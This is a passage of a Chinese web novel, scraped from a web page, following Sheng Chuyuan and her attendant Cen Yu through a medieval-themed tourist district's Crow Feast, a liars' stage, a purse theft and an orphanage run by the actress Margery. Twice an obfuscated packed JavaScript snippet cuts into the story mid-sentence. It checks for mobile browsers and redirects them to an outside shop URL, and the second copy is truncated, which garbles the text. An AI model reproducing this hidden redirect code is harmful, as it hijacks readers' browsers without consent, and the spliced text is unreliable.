“哈哈哈哈,费恩,你快把锚给抛了吧!哦,别忘了放采矿臂!上次就是你,放晚了三天,害我们差点在北冰洋上死机,逼得我给那些忧心忡忡的富人小姐扮了一周功夫熊猫,啧啧啧……” “别打了,别打了,你们这么打是死不了人的啦!” “咳咳……别吵了,全体目光向我看齐。早上好!女士们,先生们,请允许我,大艺术家弗朗克斯,为大家高歌一曲!” 雄浑的嗓音高昂而起。 “我们张起麻布帆,压住海猪的脊背, 用鲸骨念珠估算风暴的方位。 没有海图,只有盐壳上的刻痕—— 唱吧,兄弟们,陆地还在上帝嘴里。” 他们开始齐唱。 “第一个港口叫「烂牙齿」 铁皮栈桥伸出雾气的舌头。 我们用一桶鳕鱼干换三把旧桨, 两个铜板,和半袋发了霉的豌豆。” “赤足的女孩兜售圣塞巴斯蒂安的钉子, 麻风病人在码头边摇铃,边数我们的影子。 船主在羊皮纸上画十字抵税, 修士牵来母羊,租用我们漏尿的底舱。” “绞盘声压过了晨祷, 桅杆上挂着偷面包的水手的耳朵。 我们喝麦酒,酒里飘着老鼠屎, 唱一首被大主教诅咒过的异教歌。 离港时,风向像一句临终的拉丁文, 而我们连签字都不会,只会按血手印。” “哈哈哈哈哈哈哈!” “这是他们自创的水手歌吗?歌词听起来好耳熟。”盛初沅一口闷完了杯中的苦咖啡,满脸都是没睡醒的倦意,映在落地镜里的影子蔫不拉几的。 “改编自寰宇诗人塞琳女士的《游·宇》,他们还没那么有文化。”岑屿接过她手里的咖啡杯,帮她披上一件红色的小斗篷,“盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541743|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐,您今天起得比往日早两个小时。” “难得出去玩,肯定要挑一条合适的裙子,您看,中世纪风。”盛初沅打了一个呵欠,心里钝钝地想,“原来是塞琳啊……那她还真是如我印象中的那般,无聊又浮夸,净写些不知所云的东西,留给她的粉丝群体附庸风雅……” “……抱歉了,话不太好听,但亲爱的母亲大人,您肯定也不在乎吧。毕竟,我们俩在一起的时间有超过怀胎那十个月吗?我都不记得了……” 岑屿习惯性地向她伸出手,一只节骨分明,却被禁锢在白色手套中的手。没错,伟大的盛小姐大发善心,帮他也量身定制了一套中世纪的绅士装。 啧,要是让星环那帮人知道了,肯定又要嫌弃她败家了,一天到晚拿着虚拟工作台量子打印出这种玩意。 但盛初沅才懒得管那么多,养的是她的眼,服务的是她的xp,她还特地改小了一码,让衣物紧紧地贴在对方的肉/体上。领口的绷带早已绷到极限,左右两片布料却怎么也合不拢,只能若隐若现地展示出胸前的深沟,慷慨且富有。 “走吧!”盛初沅对自己的杰出大作表现出百分之两千的满意,拉着岑屿便往阿特拉斯号的一层大厅冲刺,边跑还边担心着:“先生,我没有终端,他们会允许我上岸吗?” “……景点不会查贵客们的身份信息,您有纪念票,可以直接走特殊通道,”才跑了两步,岑屿就有些喘不过气。 他粗暴地扯了扯那几根绷带,想要缓解一下那该死的勒肉感,没想到这几根细细的带子竟有极高的韧性,在几千牛的拉力下竟然毫发无损。 “高强度纤维,先生,防军用子弹的。”盛初沅毫不意外于他的吃瘪,笑眯眯地问:“怎么样?喜欢吗?” “谢谢,但我更惊讶于您的恶趣味。”既然知道是她的小巧思,岑屿也不挣扎了,继续介绍道:“盛小姐,您虽然不用进行身份验证,但您没法使用资产点,在景区内的消费是需要乘客自理的。铁骑区的汇率大概是铜币1:1,银币1:10,金币1:100,线上线下支付都行。如果您乐意的话……” “您可以包养我,是吗?”盛初沅笑着接上他的话,“好啊,我很乐意,我就把自己交给您了!我记得景区的服务项目也展示在终端上了。” 岑屿顿了顿,嘴角微微上扬:“嗯……鉴于您没有在乘客区住过,我照例介绍一下《景区游览手册》上的内容。” “第一,单个景区的游览时间为两个母星周,也就是十四个母星日,离港时间为下午四点,请在离港前回到船上,不要滞留在当地,否则您会被划为本地人。” “不过,鉴于您没带终端,即使留在当地,您也不会被景区认可,而是变成更可怕的幽灵人。” “第二,景区有自己的运行逻辑,请不要试图扰乱居民的生活,当地的管理者有权为您定罪,就算您权势滔天,但强龙难压地头蛇,背上官司很麻烦。” “第三,除特殊情况,请不要出到防辐射天幕外,景区的天幕不比阿特拉斯,它是由一种特殊金属制造的固体球壳,笨重且有局限性,若您非要外出,请穿上防辐射服。” “剩下还有一堆杂七杂八的,我就不念了。总而言之,盛小姐,欢迎您来到铁骑区,您的奇幻旅程马上就要开始。” 14. 骑士长和乌鸦宴 与栈桥的钢铁外表全然相反,连接大厅红丝绒地毯的是一条笔直的鹅卵石路,纵横交错的石缝间斑驳着些许绿色,自然又富有野性。 中世纪的欧洲,多雾多雨,高墙林立。太阳总是迟到早退,难以穿透层层阴云。苦寒如附骨之疽,万物浸泡在累世不散的阴潮之中,石地自然冰寒透骨,人情更是疏离淡漠。 可惜在无数诗歌的传唱中,人们刻意地忽略了这一点,反倒拐了个弯儿去歌颂那热情与典雅的交织,以及史诗宿命般的沉重——铁骑区也并不例外。 “今日出炉,热烘烘的燕麦面包,小姐,您要来一份吗?”此起彼伏的吆喝声拉开了主城大门,一盘镶满眼珠子的面包便被挤到了盛初沅面前,包着头巾的店主人热情地招呼道:“千目耶稣,很受欢迎的!” 盛初沅刚想伸手去够,怀里就被塞了一把鲜花,穿着红裙子的小姑娘蹦蹦跳跳:“美丽的天使姐姐,送您一束紫罗兰,愿您度过美好的一天。” 一句话把盛小姐哄得心花怒放,她如变戏法般摸出一枚硬币,放进小姑娘的手心:“纸杯烟花,过生日的时候放!” “闪开闪开!”焦急的嘶吼声吓弯了一街人的腰,盛初沅下意识地转头看——一辆载着鹅笼的小推车在人群中横冲直撞,车身的木板随着石板起伏嘎吱作响。疯狂颠簸之下,一溜儿的鹅脖子从笼眼处伸出来,眼见着就要劈向盛小姐的面门。 说时迟那时快,一股不容置疑的力道从腰间传来,盛初沅发觉自己被腾空抱起,然后轻而易举地降落到靠墙一侧。 “小心。”岑屿将她轻轻放下,很自然地抚平了她的裙摆,又顺走了她怀里的鲜花,极其刻意地夸奖道,“盛小姐,您还真是魅力惊人。” “哎呀,感谢您的夸奖,”盛初沅不慌不忙,“既然您接过了花,那愿您也度过美好的一天。” “您若是能稍微听话一些,我会更加美好的。”岑屿嗤笑着将花收回自己的储物戒中,“不必劳烦您的双手,我来替您保管它。” 盛初沅果真听话地点点头,拉着他走回大街上,笑眯眯地感慨道:“岑先生,今天街上好热闹呀,他们在过什么节日吗?” “嗯,您的运气很好,正巧撞上了他们三年一度的乌鸦宴。”来往行人太多,岑屿得以将视线牢牢锁在盛初沅身上,“您听说过那个故事吗?” “什么故事?” “乌鸦屠龙。” “您确定要和一个唯物主义者讨论一个伪造出来的故事吗?” “这是史实,而且您也认可变异……进化动物的存在。” “先生,这不一样,”他们在十字路口左拐,这一片儿都是飘着彩旗的怪诞集市,杂糅着奇怪配料的的香粉顺着空气进入呼吸道,像是女巫配的什么迷魂药,“真的成不了假的,假的也成不了真的,巨龙不会被虚张声势的翅膀投影吓破胆,因为它是龙,它有世界上最强大的心脏。” “假的说多了就变成了真的,至少铁骑区的居民都信了,”岑屿转身帮她买了一杯肉桂蜂蜜酒,从终端里取了一根吸管,递到她唇边,“试试,当地特色。” 盛初沅顺着他的姿势低下头,抬手轻轻撩起耳侧的头发,露出了一大片雪白的脖颈,“只是骑士长坐稳管理者位置的小把戏罢了,德不配位,自取灭亡。” 所谓景区的管理者,大概可类比为农场的庄园主、城市的市长或国家的首相,由民众推选、最受民心所向。 不同景点的管理者有着各自不同的名号,铁骑区的管理者叫骑士长,诗行区的管理者叫神主,镀金区的管理者叫大伯爵,此类云云。 当年那场大灾难摧毁了母星,也消融了传统国家的概念,大量的死亡带来了阶级的流动,寰宇纪的政治体制变得极度扭曲。 资本与人脉被一炮轰了个粉碎,最初始的武力和声望又重新回到历史舞台,站在世界顶端的人群变成了军队和科学家。 权力永远伴随着罪恶,虚伪的上帝创造出所谓的“功德卷”,表示谁的功德过盛,便带谁上凌于众人的天堂。 为了换取足量的“功德”,人们将无数的资源向上呈递,统治者因此迅速巩固地位,声誉为先的推举制度也渐渐流传下来。 而乌鸦屠龙,则是一个劣质得不能再劣质的地区神话。 “听啊,铁骑区的风在呼啸, 雪原之上,巨龙生了巢。 漆黑如夜,鳞甲似铁, 一口龙炎烧尽山岳。” 抱着七弦琴的吟游诗人靠在树边将故事弹唱,轻快自由的曲调吸引了无数听众,盛初沅也顺势停下了脚步。 歌词中唱,在铁骑区基地刚建成之时,基地北侧的苍茫雪原上出现了一只通体漆黑的恶龙。它强大,美丽,作恶多端,一口龙炎便能烧毁一整座大山。 人们对此束手无策,绝望的气压笼罩在铁骑区之上。在这一筹莫展之际,伟大的初任骑士长,奥尔德·雪刃出手了。 他知道,以人类之力,巨龙强大而无法战胜,最锋利的刀剑无法划破它的鳞片,最坚固的铁盾无法阻挡它的利爪,能真正摧毁它的唯有它自己。 于是,在奥尔德的号召下,人们在雪原上表演了一系列奇异戏。 成天与畜牧打交道的自由农穿上了奇装异服,利用火光投影,摇身一变,变成了张牙舞爪的大怪物。 畸形的怪物翻手为云,覆手为雨,一张巨嘴便能吞掉十几个不知好歹的银甲骑士,战场的局势立马向一边倒去。 这时候,别着大黑翅膀、带着鸟喙面具的奥尔德出场了。 他拳打长虫怪,脚踢大犀牛,以无可战胜的战神姿态睥睨于雪原中央,将平淡的气氛彻底推向高潮。获胜后的人们高举火把、载歌载舞,终于惊动了在洞里打盹儿的巨龙。 巨龙很是惊奇,这些如米粒大的姜饼人儿究竟在做些什么。 它从洞穴里探出头,开始了静静地窥视。 第一天,它想去会会那些张牙舞爪的大怪物。 第二天,它想去一口吞掉这些蹦蹦跳跳的小人,经过反复捶打,他们的肉质肯定劲道。 第三天,它想去偷走他们的兵器,看起来很适合剔牙。 第四天……第五天……第六天…… 第七天,它终于注意到了台上的主角,强大的,不可战胜的,英雄。它想去和他打一架,让他看看谁才是这片雪原的老大。 可是他的翅膀是那么庞大,他的利刃是那么尖锐,他打败了那么多只勇猛的怪物…… 巨龙退缩了。 面对强大的敌人,巨龙未战先怯,惶惶不可终日,害怕下一个被讨伐的是它自己。 舞台离它的巢穴越来越近…越来越近。 在第三十一天的傍晚,巨大的投影终于出现在巨龙巢穴门口,最终的决战,来临了。 奥尔德摩挲着手中的利刃,昂首挺胸的走进了漆黑的未探地,抬手一劈——而后,巨龙自戕了。 人们欢欣雀跃。 为了纪念依靠谎言打败巨龙的奥尔德,铁骑区每三年都会举办一次乌鸦宴,开办怪诞集市,搭建谎言舞台,举行换面巡游…… 管理者因谎言被推举,因戏剧而正名,从此,皮诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦!我的天哪!这也能算作吹牛!”拿着锅铲的厨娘不给面子地嗤笑道,“听着,黑礼帽,我昨天去森林里采蘑菇,撞见一头独角兽正在吃我家的卷心菜。我一锅铲拍晕了它,拖回来炖了七天七夜。” “汤的味道你猜怎么着?像鸡肉,但比鸡肉多了一股彩虹味。喝完的人全都能倒立着说话,方圆百里的人都来我家讨了一碗,你们说,是不是?”她泼辣地叉起腰,环视了一圈。 “是是是!”周围的居民哄笑道,往她的围兜里插了好几根黑羽毛——这是对吹牛大王的最高赞赏。 “嘿,听听我的!”一位卷发青年煞有介事地跳上了舞台,“诸位,别看我长着人的样子,其实我是一棵卷心菜。五年前一个巫婆把我变成了人形,让我体验五年人间生活。哦,女士,请别这么笑!今天午夜我就会变回去,指不定哪天就上了您的餐桌!” “哦,去死吧!卷毛佬!我将一年都不用卷心菜炖汤!”拿着钢锤的铁匠向他狠狠地啐了一口。当然,随之而来的还有漫天的黑羽毛——台下的观众无一不欢呼喝彩。 “那您呢?美丽的小姐,您有吹过什么牛吗?”一片喧嚣之中,那张嘴角咧到耳垂的笑脸猛地放大,直直撞到盛初沅眼前,“我想,像您这么美丽的小姐,一定会有一些很美妙的经历吧!” “很遗憾,先生,我没吹过牛哦!”面对滥俗的突脸式袭击,盛初沅面不改色地往后退了两步,“先生,我敢保证,我说出口的东西,一定在我的能力范围之内!” “哦,小姐,别这样!这儿的人都说过谎,您请不必害羞!比如说……?”小丑显然是不相信这绝对的断言,梗着脖子硬是给她递了个话头。 “那好吧,既然是入乡随俗……”盛初沅看起来有些为难,她绞着裙摆的配饰,将将凑到他的耳边,慢吞吞地说:“嗯,比如说啊……我身旁这位先生是我的男朋友。他好凶,每天都要亲我365遍!不给我出门就算了,还不给我跟别人说话!他说他要绞杀每一个试图跟我搭讪的人!” “……再比如说,先生,我有一双能透视的眼睛。我看到,您藏了两枚金币在您的鞋底,闪闪发亮,我很好奇,这是您的私房钱吗?” 15. 小雏菊之家 “哦,小姐,您的谎言可真有趣!”小丑如见鬼般向后猛撤了几步,胆战心惊地瞟了一眼她身侧面色阴沉的男人,咽了咽口水,“那……那便祝您跟您的男朋友度过美好的一天。” “谢谢,我们会的!”看着他飞快逃走的背影,盛初沅无辜极了,摇了摇岑屿的手臂,明知故问道,“岑先生,他怎么跑了啊?” “……您当真不知道?”岑屿直勾勾地盯着她的眼睛,得到对方肯定的答复后,轻轻冷笑一声,一字一顿道:“因为我是您的男朋友,我每天都要亲您360遍,不给您出门,不给您跟别人说话,会绞杀掉每一个试图跟您搭话的人,他可能暂时不想和自己的脖子分家。” “是他非要我吹牛的呀!”盛初沅无奈极了,她回望着对方深不见底的瞳孔,大大方方地问,“怎么,您也不希望这是个谎言?我不介意让您当我的男朋友哦!” 猎人抛出来的诱饵太大,早就饥肠辘辘的野兽恨不得猛地扑上去将其拆吃入腹。 岑屿舔了舔嘴唇,再次反问:“盛小姐,我记得,您还有个没死的未婚夫。所以,您的意思是,想要我当您的小三?” “哎呀!您可别惦记我那未婚夫了!他在我的心里早就是个死人了!”一提到这个盛初沅就烦,恨不得那个挡她道的大傻帽立刻去世。 唉……夜长梦多,她得快点找到特雷梅恩藏在母星的研究基地,然后一枪蹦了他。 但岑屿依旧不依不饶:“死去的未婚夫就成了白月光和朱砂痣,盛小姐,您觉得,我争得过一个没有瑕疵的死人吗?” “那如果这个未婚夫在外面做一些见不得光的实验呢?”盛初沅慢悠悠地举例,“比如说……人体实验。据我所知,天空城有不少家族都在投资这个项目。” “人体实验”这四个字一出,岑屿的身体顿时僵了一瞬,声音几乎是从牙缝中挤出来:“那您……” “放心吧,先生,我的本职工作忙得要命,没有闲功夫去倒腾这个玩意。”盛初沅轻轻捏上他的手臂,笑着安抚道,“不过,他们要是伤害过您,我不介意去找他们麻烦。” 明明是她先提及,但现在又换上这幅善人做派,说我去替您复仇云云……真是该死!每次都是相同的伎俩,每次都能调动他那些不合时宜的情绪。 手臂上的热意也顺着静脉流向四肢,岑屿阴测测地拒绝她的好意:“不劳您费心,我可以自己解决。盛小姐,我更希望您能少见一些无关人士……” 岑屿话音刚落,人群中突然传来一声惊叫。一个头巾散乱、神情焦急的小姑娘疯狂地拨开路人的衣摆,像一条在水里乱窜的鱼。 绝望的嘶鸣从她喉咙处传来:“有人抢钱了!有人抢钱了!” 慌忙中,她不小心踩到了一位乡绅的脚,对方还沉浸于自己的大话艺术里,于是条件反射般抓住了她的手腕,不满地抗议道:“嘿,小姑娘,我这鞋可是龙皮做的……” 小姑娘的眼泪都快飙出来了:“对不起先生,但那是我们一家一周的伙食费……” “这个谎可不好笑!老实点,帮我把鞋擦干净!” “抱歉,先生,我就来!救命!救命!有哪个好心人能帮我拦一下!那个穿灰西装的胖子!他抢了我的钱袋!” “灰西装?胖子?”盛初沅耳朵自是灵敏,她单手扣住了身侧一人的肩膀,笑眯眯地问:“先生,是您吧?” 原本想低着头快速溜走的男人身体一僵,下意识地准备挣扎,没想到搭在他肩膀上的那只手看起来纤细,实际却蓄着一股怪力,把他压得动弹不得。 他一时恶胆向边生,从腰间拔出一把短剑,往盛初沅的腹部刺去。 可惜盛小姐艺高人胆大,躲也不躲硬生生吃了这一击。反光的刀刃在撞上裙身的瞬间莫名扭成了麻花,男人的左肩也被捏了个粉碎。 “你、你、你……”男人同看怪物般看着对方从他的口袋里拽出那个粗布钱袋,整个人抖成了筛糠。 “我什么?先生,科技改变生活。”盛初沅松开了扣着他肩膀的手,将丝质手套从右手摘下,顺手扔在了岑屿怀里,“脏了,不要了,给您玩一玩,能将手劲放大3000倍。” “哦,您可以试试用它来扯您的领口,应该扯得松,但扯坏了您就要光着上身陪我逛街了哦。” 岑屿将手套翻过来嗅了嗅,然后面无表情地塞进了自己的口袋,一脚踩上了早已跌坐在地的灰西装的小腿,“小姐,我记得我跟您说过,不要打扰本地人的生活,您……” “我这是见义勇为,”盛初沅绕过人群,将钱袋还给焦急的失主,“人家一周的吃饭钱呢!” 拿回钱袋的小姑娘连连向她道谢,活像见到了免去自家诛九族之罪的忠武大骑士长,拉着她的裙摆死不松手,铁了心要带他们去见见自家的姐姐。 “先生,小姐,我叫塞西莉,我的姐姐玛格丽是镇上最心灵手巧的演员!”得到肯定的答复后,塞西莉领着他们在几栋建筑之间穿行。接连拐了好几个弯,他们将彩旗和商铺远远甩在身后,进入了真正的居民区。 失去了乌鸦宴修饰的居民小巷显得有些阴暗逼仄。灯光透不进,石墙灰蒙蒙的,唯一可以配得上“色彩”二字的是晾衣绳上飘着的衣物,单薄地明媚着。 “塞西莉小姐,你们家就只有您和玛格丽小姐两个人吗?我们贸然前往,会不会打扰到您其他的家人。”周围的环境恶劣非凡,为避免长裙拖地吸水,让自己沦为这片区域的免费清洁工,盛初沅轻轻提起裙摆,在四面水洼的包围中艰难地跳行。 “哦,没关系的,小姐!我们家虽然人很多,但大家都很好相处,这会儿应该也只有玛格丽姐姐在家,”塞西莉小心翼翼地瞄了她一眼,“抱歉,小姐,巷子的环境不是很好,但姐姐说过,所有帮助过我们的人,她都要亲自感谢一遍。” “这样么?那玛格丽小姐一定是一个善良负责的人!”盛初沅的脸上不见嫌弃之色,反而献出了最真诚的夸赞,不出几句话便将崇拜姐姐的小女孩哄得头晕目眩。 “是的!玛格丽姐姐就是铁骑区最伟大的圣母。她靠卖手织物将我们从孤儿院带出来,组建小雏菊之家,教无家可归的孩子们怎么生活立足……哦,不仅如此,她还是圣临歌剧院的核心演员!” “这么厉害啊!”盛初沅继续好奇地追问,“那圣临歌剧院和乌鸦宴的换面游行有关系吗?” “唔……换面游行是个全民性的活动啦,每个人都可以扮演与平时不同的角色,包括同您一般的游客哦!但圣临歌剧院的全体成员要站在游行队伍的最前面带领大家。” “小姐,换面游行很好玩的,只有在这一天,我可以扮演骑马的贵族,玛格丽姐姐也能扮演自己最心仪的女主角!”小姑娘向往地感慨。 “好好好,我一定会拉着我的男朋友去亲自体验的!”盛初沅笑眯眯地哄着孩子和男人,抬眼扫视这条小巷。 抛去所有地区特色与文化因素不谈,这片区域的屋顶参差不齐,以她的经验来看,建楼高度与占地面积能极大地反映出屋主的社会与经济地位。 那小雏菊之家会在一栋怎么样的石楼里呢?应该不会很高,她掂量过那个钱袋子,估计也就是十几枚银币的重量,只够一个人过上宽裕的日子。但也不会很低,铁骑区的演员肯定有着不错的社会待遇。 果然,塞西莉停在了一栋高矮皆不突出的石头房子前,叮叮咚咚地从口袋里掏出一把黄铜钥匙,麻利地插进锁孔,边扭边对着木门絮絮叨叨:“玛格丽姐姐,是塞西莉,塞西莉带了两个客人回家!” “辛苦了,小塞西莉,在外面没受到什么委屈吧?”沉重的木门应声而开,一位浅褐色头发的女子出现在门后。 她说话的腔调宛如摇篮曲的呢喃,温柔地引导着来自天堂的静水流过听众的心间,让人不知不觉便顿感热泪盈眶。 她稳稳地接住了扑向她的塞西莉——于是在灯光的晕染下,典籍里的圣母玛利亚似乎真的来到了人间。 “打扰了!”盛初沅跟在塞西莉身后进了屋门,然后开始仔细打量四周:大餐桌,全家福,以及样样齐全的锅碗瓢盆,无论是屋内还是屋外,都是大部分人眼中普通却温馨的大家庭。 只可惜盛初沅和岑屿都不是正常的普 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“我也不简单,”盛初沅满不在乎地拽着他往里走,将头凑到他戴了耳钉的那只耳朵边,“只是您总是忽视这一点,我想知道她到底图我们什么。” “那我们……” “进去,岑先生,我说,进去。” 岑屿妥协了。 “感谢两位,也让两位见笑了,”大约过了半刻钟,玛格丽将哭红了眼的塞西莉送回房间,独自坐到了他们对面,为他们倒上了两杯热茶。 见两人都没有端起茶杯的欲望,玛格丽轻轻叹了口气,半眯着眼,睫羽微微下垂:“我知道贸然邀请两位来到小雏菊之家很不合常理,也显得我居心不良。但请两位放心,我并没有恶意。” “有没有恶意可不由您说的算,”盛初沅与她平视着,“小塞西莉告诉我,您是铁骑区最优秀的演员。” “……圣临歌剧院有很多优秀的演员,我只是其中之一,”玛格丽很是谦虚,“小姐,剧院对演员的待遇很好,小雏菊之家有二十多个孩子,想要喂饱二十多张嘴不容易,我需要这份工作。” “这些孩子是上天赐给我的天使,我们在冰冷的孤儿院相依为命,他们将我托举出泥潭,我愿意付出一切去保护他们,独自跳下地狱。” 见两人依旧是一副怀疑的神情,玛格丽抿了抿唇,给自己也倒了一杯茶,“两位知道,铁骑区很注重声誉。” 她从终端中调出一个页面,转过去展示给他们看,“两位请看,这是我们铁骑区的声誉评估系统。终端内置的特殊监控功能,可依据日常行为实时动态计算声望的增减。举一个具体的例子,两位帮了塞西莉,我请两位来喝茶,我能获得50点声誉值。” “声誉值能换取各种日常用品,食物、布匹。每一位铁骑区的居民都在为声誉值拼命,乌鸦宴上的小贩、舞台上的小丑、吹牛的居民,只要做出了服务,都可以……” “也就是说,您在利用我们刷分。”岑屿充满敌意地打断道。 “我很抱歉,但事实确实如此,我不是无私的信众,我也愿意为此赎罪。”玛格丽将罪恶的野心剖开,展示在上帝注视下的圣光台前。 “塞西莉也是您的鱼饵?”像是被她的真诚打动,盛初沅终于端起了茶杯,在手上轻轻转了一圈,杯中的银面熠熠地反着光,“让小姑娘一个人拿着钱袋跑到广场上,怪不得不存进储物戒里。” “不不不,小姐,塞西莉的确是去采买食物的,只是在路上受了点惊吓,提前跑回来了,”玛格丽轻轻否认道,“小雏菊之家的孩子们虽然年纪尚小,但都有一技之长。家里的男孩子们强壮,所以我送他们去皮具店和铁匠铺当学徒,塞西莉的脑子很灵活,她是家里的财务顾问。” “至于储物戒,小姐,普通人家用不起储物戒。这是上流社会的身份象征。” “那那个灰西装当众抢钱包,难道不会倒扣声誉值吗?”盛初沅开始对他们的风纪委员系统感兴趣了,挺直了背,煞有介事道:“玛格丽小姐,我诚心建议你们把加减分系统声改成广播,每周一再到广场开个晨会,通报批评每一位违纪成员。”